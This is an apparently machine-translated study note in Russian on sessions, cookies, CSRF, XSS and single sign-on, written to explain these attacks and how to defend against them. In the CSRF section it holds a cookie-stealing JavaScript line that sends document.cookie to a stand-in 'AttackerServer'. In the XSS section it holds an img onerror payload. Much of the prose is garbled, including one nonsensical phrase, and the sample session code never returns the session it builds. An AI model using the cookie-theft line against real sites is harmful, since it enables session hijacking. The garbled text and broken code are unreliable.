githubадрес:кликните сюда
session
концепция
- Относится к классу решений, используемых для поддержания состояния между клиентом и сервером.
- Структура хранения этого решения
Функции
-
так как
SessionОн хранится на стороне сервера в виде текстового файла, поэтому клиент не боится модифицировать содержимое сеанса. (Вы также можете использовать другие методы хранения, такие какredis) -
SessionОбъекты имеют жизненный цикл -
SessionЭкземпляр облегченный, так называемый облегченный: это означает, что его создание и удаление не потребляют слишком много ресурсов -
SessionВнутри объекта есть кеш
использование
SessionОбъект хранит свойства и информацию о конфигурации, необходимые для конкретного сеанса пользователя, вwebИнформация не будет потеряна при переходе страницы
Обычно используется для следующих операций
- Хранить информацию, которая поддерживает состояние пользователя на протяжении всего сеанса, например информацию для входа или другую информацию, сгенерированную, когда пользователь просматривает
- хранение должно быть толькоперезагрузка страницыпроцесс илиНабор страниц функцийобъекты, которые поддерживают состояние между
- Держитеинформация о состоянииПредоставляет доступ к странице с любого устройства в любое время.
ограничение
- Чем больше пользователей входит в систему,
sessionТребуется больше памяти - каждый
SessionПродолжительность объекта — это время доступа пользователя плюс время бездействия.
зачем нужноsession
Сам протокол HTTP не имеет состояния
Вот пример употребления кофе:
1. Продавец магазина очень силен и может помнить количество потребления каждого клиента.Как только покупатель войдет в кофейню, продавец будет знать, как с ним обращаться. Эта практика заключается в том, что сам протокол поддерживает состояние.
2. Покупателю выдается карта, в которой фиксируется количество потребления и обычно имеет срок годности. Каждый раз, когда клиент совершает покупку, если клиент предъявляет карту, покупка связывается с предыдущей или будущей покупкой. Эта практика заключается в поддержании состояния на стороне клиента.
3. Выдайте покупателю членскую карту, и никакая информация не записывается, кроме номера карты.Каждый раз, когда покупатель совершает покупку, если покупатель предъявляет карту, продавец найдет запись, соответствующую номеру карты, в записи магазина. забронируйте и добавьте информацию о потреблении. . Эта практика заключается в поддержании состояния на стороне сервера.
конкретный механизм
-
Когда программе нужно создать запрос для клиента
sessionКогда сервер сначала проверяет, содержит ли уже запрос клиентаидентификатор сессии- называетсяsession id, если он уже содержитsession idЭто означает, что для этого клиента ранее была создана сессия, и сервер будет следоватьsession idвозьми этоsessionПолучить его для использования (если он не может быть получен, он может создать новый), если запрос клиента не содержитsession id, создатьsessionи создатьsessionсвязанныйsession id,session idЗначение должно бытьСтрока, которую невозможно повторить или легко найти шаблоны для имитации.,этоsession idБудет возвращен клиенту в этом ответе для сохранения. -
так как
cookieможет быть искусственно запрещено, должны быть другие механизмы дляcookieМожно еще поставитьsession idпередан обратно на сервер. Метод, который часто используется, называетсяURLпереписатьДве формы:
// 作为url附加路径 'http://..../xxx;jsessionid=abcdefjijeoijoifjioe' // 作为查询字符串 'http://..../xxx?jsessionid=abcdefjijeoijoifjioe' -
старая технология,сформировать скрытые поля, этот метод полезен для предотвращения csrf
выполнить
Сопоставление пользователей и данных на основе файлов cookie
введите пароль вcookie, как только Чу Ан полюбит пароль, связь сопоставления будет потеряна. как правилоsessionСрок действия обычно короткий, и данные будут удалены, когда он истечет.
После того, как сервер проверит запрос пользователяcookieне внесенsession_id, он генерирует для него уникальное и неповторяющееся значение и устанавливает тайм-аут. Если он истекает, сгенерируйте заново, если нет, обновите тайм-аут
var sessions = {};
var key = 'session_id';
var EXPIRES = 20*60*1000;
var generate = function () {
var session = {};
session.id = (new Date().getTime()) + Math.random();
session.cookie = {
expire: (new Date()).getTime() + EXPIRES
}
sessions[session.id] = session
}
function (req, res) {
var id = req.cookies[key];
if (!id) {
req.session = generate();
} else {
var session = sessions[id];
if (session) {
if (session.cookie.expire > new Date().getTime()) {
session.cookie.expire = new Date().getTime() + EXPIRES;
req.session = session;
} else {
delete sessions[id];
req.session = generate();
}
} else {
req.session = generate();
}
}
}
Компактный подход
Так как закрытие браузера не вызываетsessionудаляется, заставляя серверseesionУстанавливается время истечения срока действия, когда клиент использовался в последний разsessionКогда время превышает это время истечения, сервер может считать, что клиент прекратил деятельность, иsessionУдалить, чтобы освободить место для хранения
reference
http://justsee.iteye.com/blog/1570652
https://baike.baidu.com/item/session/479100?fr=aladdin
https://blog.csdn.net/hjc1984117/article/details/53995816
cookie
Данные, хранящиеся в локальном терминале пользователя
httpЗапросы отправляются автоматически, кроме как между доменами
использовать
Клиент записывает информацию о пользователе
Функции
хранится на жестком дискеcookieМожет совместно использоваться различными процессами браузера, например двумяIEокно. И за сохраненное в памятиcookie, разные браузеры имеют разные методы обработки.
Атрибуты
-
name:cookieназвание -
value:cookieценность -
domain: может получить доступcookieДоменное имя определенного уровня доменного имени может получить доступ к файлу cookie доменного имени верхнего уровня. -
expires/Max-Age:Дата истечения срока годности -
Size:cookieразмер -
http:httponlyсобственность, дляtrue,Не работаетdocument.cookieполучить -
secure:заtrueтолько вhttpsполучить -
path: дочерний путь для доступа к родительскому путиcookie
создать файл cookie
document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";
читать куки
document.cookie
Изменить файлы cookie
document.cookie =
в виде накладки
удалить куки
Установите время истечения в прошедшее время
иlocalStorageиsessionStorageразница
-
размер хранилища
-
cookieРазмер данных не может превышать 4k. -
sessionStorageиlocalStorageХотя существуют также ограничения по размеру хранилища, болееcookieГораздо больше, может достигать 5 м и более.
-
-
Эффективное время
-
localStorageХраните постоянные данные, данные не будут потеряны после закрытия браузера, если данные не будут активно удалены; -
sessionStorageДанные автоматически удаляются после закрытия текущего окна браузера. -
cookieнаборcookieДействителен до истечения срока действия, даже если окно или браузер закрыты
-
-
sessionStorage- хранилище на уровне сеанса
- Временно, страница открыта да, страница закрыта нет
- Данные не передаются
- Выпрыгнуть со страницы через тег a, затем
sessionStorageобщий
-
localStorage- постоянное локальное хранилище
- постоянное хранение
- не междоменный
- обмен данными
-
cookie-
cookieгомологичен и соответствуетpathПравила распределяются между документами -
max-ageустановить в секундахcookieпродолжительность жизни. - если
max-ageравно 0, это означает удалениеcookie. - если
max-ageотрицательно, это означает, чтоcookieОн действителен только в этом окне браузера и подокнах, открытых этим окном, и файл cookie становится недействительным после закрытия окна.
-
как получитьcookie
Есть два http-заголовка, которые конкретно отвечают за настройку и отправкуcookie, они естьSet-Cookieа такжеCookie. Когда сервер возвращает ответное http-сообщение клиенту, если оно содержитSet-CookieКогда этот заголовок используется, это означает указание клиенту создатьcookie, и автоматически отправлять это при последующих HTTP-запросахcookieна стороне сервера, пока этоcookieИстекший. еслиcookietime-to-live — это весь сеанс, тогда браузерcookieХранится в памяти, автоматически очищается при закрытии браузераcookie. В другом случае он сохраняется на жестком диске клиента, если браузер закрыт,cookieОн не будет очищен. В следующий раз, когда вы откроете браузер для посещения соответствующего веб-сайта, этотcookieОн будет автоматически отправлен на сервер снова.
cookieсерверная запись
//java的写法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);
//php 中的写法
setcookie(name,value,expire,path,domain,secure)
reference
https://my.oschina.net/ososchina/blog/339918
https://blog.csdn.net/dong123dddd/article/details/50388656
csrf (подделка межсайтовых запросов)
процесс
- Пользователь c открывает браузер и авторизуется на веб-сайте a.
- После успешного входа запишите данные для входа
cookie - на вебсайте
aОткройте сайт, не выходя из системыb - Веб-сайт
bВозвращает оскорбительный код после запроса пользователя на получение веб-сайтаaизcookie, и сделайте запрос на веб-сайт (примечание: здесь два шага) - Веб-сайт
aОшибочно подумал, что это запрос от пользователя c
украсть печенье
Вставить абзац на страницу сервера жертвыjavascriptКод (атака межсайтового скриптинга через xss)
document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
защита
- проверять
http refererполе - Добавьте токен к адресу запроса
Разработчики системы могутHTTPВ запрос добавляется случайно сгенерированный параметр в виде параметраtoken, и создайте перехватчик на стороне сервера, чтобы проверить этоtoken, если запрос неtokenилиtokenЕсли содержание неверно, считается, что оно может бытьCSRFатаковать и отклонить запрос.
- существует
HTTPПользовательские свойства в шапке и валидации (не будут просочены)
reference
http://www.freebuf.com/articles/web/11840.html
xss (межсайтовый скриптинг)
Классификация
- Отражающий (непостоянный)
Те уязвимости межсайтового скриптинга, которые браузеры должны отправлять вредоносные данные в параметрах каждый раз, когда они срабатывают.
Может сделать перенаправление доменного имени на вредоносныйURL, отправьте это доменное имя пользователю
- хранилище (постоянное)
Относится к отправке вредоносных данных в хранилище (таких как базы данных, текстовые файлы и т. д.),WebКогда приложение выводит, это тип уязвимости межсайтового скриптинга, который считывает вредоносные данные из памяти и выводит их на страницу.
Общие методы атаки
- обходить
xss-filter - использовать
img - пробел, возврат каретки,
tabобойти фильтрацию - Используйте такие события, как:
<img src=“#” onerror= “alert(1)”/> - css кросс-сайт:
background-url - использовать кодировку символов
защита
-
xss-filter, теги фильтра 2.httpOnly - При выводе переменных на страницу кодировать
reference
http://www.cnblogs.com/wqhwe/p/5416976.html
единый вход в систему
httpпротокол без сохранения состояния
Каждый раз, когда браузер запрашивает, сервер обрабатывает его отдельно
Чтобы идентифицировать запросы браузера и поскольку http является протоколом без сохранения состояния, сервер и браузер должны поддерживать состояние вместе.
механизм сеанса
Когда браузер запрашивает сервер в первый раз, идентификатор сеанса создается и сохраняется браузером, он будет браться при каждом последующем запросе, и после его получения сервер может определить, тот ли это пользователь.
Использование одной системыcookie
Статус входа
При первом обращении браузера к серверу ему необходимо проверить имя пользователя и пароль, при сравнении с базой данных проверка проходит и помечает сессию как «авторизованную».
Проверяйте статус входа при каждом последующем запросе
Единый вход (мультисистемный вход,single sign on,sso)
Пользователи могут войти и выйти из системы один раз, и эффект может быть получен в нескольких системах.
Из-за разных доменов нескольких систем все файлы cookie будут ограничены, и браузер отправляетhttpЗапрос будет автоматически содержать соответствующий доменcookie, не всеcookie
еслиdomainУстановка его в качестве домена верхнего уровня имеет ограничения:
- Имена доменов системных групп должны быть унифицированы
- Технология, используемая каждой системой, должна быть одинаковой.
-
cookieнебезопасный
Авторизоваться
По сравнению с единым входом в систему,ssoПри наличии дополнительного центра аутентификации только центр аутентификации принимает информацию о безопасности, такую как имена пользователей и пароли. Другие системы не предоставляют вход в систему и принимают только непрямую авторизацию из центра аутентификации. Косвенная авторизация достигается с помощью токенов,ssoНет проблем с тем, что центр аутентификации проверяет имя пользователя и пароль пользователя и создает токен авторизации.В процессе следующего перехода токен авторизации отправляется в качестве параметра каждой подсистеме, и подсистема получает токен, т. е. авторизован и может заимствовать его.Это создает частичный сеанс, а метод частичного входа в сеанс такой же, как и для одиночной системы. Этот процесс, являющийся принципом единого входа, показан на следующем рисунке.
После успешного входа пользователя в систему будет установлен сеанс с центром аутентификации SSO и каждой подсистемой. Сеанс, установленный между пользователем и центром аутентификации SSO, называется глобальным сеансом, а сеанс, установленный пользователем и каждой подсистемой, называется локальный сеанс. После того, как локальный сеанс установлен, пользователь получает доступ к защищенным ресурсам подсистемы, больше не будет передавать центр сертификации sso
выйти
конкретный прыжок
Предположим, что URL-адреса центра сертификации и системы 2:sso.com、system2.com,доступsystem2.comПерейти, потому что вы не вошли в системуsso.com, адрес перехода:http://sso.com?service=http://system2.com(дополнительная информация не требуется), в этот момент он становится браузером иhttp://sso.comСессия между сайтами, эта сессия помечена как зарегистрированная из-за входа в систему 1, поэтому центр аутентификации берет токен, возвращает обратно в соответствии с параметром службы и прикрепляет токен к адресу возврата:http://system2.com?token=token
Как проверить данные для входа
-
между разными доменами
- После входа в систему вы должны перейти к другим системам и установить файлы cookie.
- Nodejs реализует прыжок 302
-
Разные сайты с одним доменным именем
- общий
cookie
- общий
-
Тот же домен, разные поддомены
- хранить
sessionIdВсе домены верхнего уровня
- хранить
reference
https://www.cnblogs.com/wxj-106/p/8097880.html
http://www.cnblogs.com/ywlaker/p/6113927.html#!comments